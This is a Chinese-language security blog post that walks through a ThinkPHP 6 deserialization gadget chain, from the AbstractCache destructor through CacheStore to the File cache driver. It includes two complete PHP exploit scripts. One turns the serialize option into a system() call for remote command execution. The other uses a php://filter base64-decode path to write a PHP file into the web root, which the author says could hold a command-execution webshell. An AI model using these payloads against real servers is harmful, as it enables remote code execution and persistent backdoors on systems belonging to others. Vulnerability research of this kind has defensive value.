Forward
之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;
首先环境可以composer一键搭建,然后php think run进行跑起来就可;
本文涉及知识点实操练习:ThinkPHP5远程命令执行漏洞(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。)
text
首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;
protected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}
首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set方法的类,或者我们实例化一个存在__call方法的类;从而可以因为访问不存在的方法去调用到call魔术方法;这里我们先找到一个有set方法的类;在File类中找到:
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php#bash回显;网页不回显;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['
id']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;
在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;
明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;
<?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', 'hash_type' => 'md5', 'serialize' => ['serialize'], 'data_compress' => false ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}
另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现;
最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;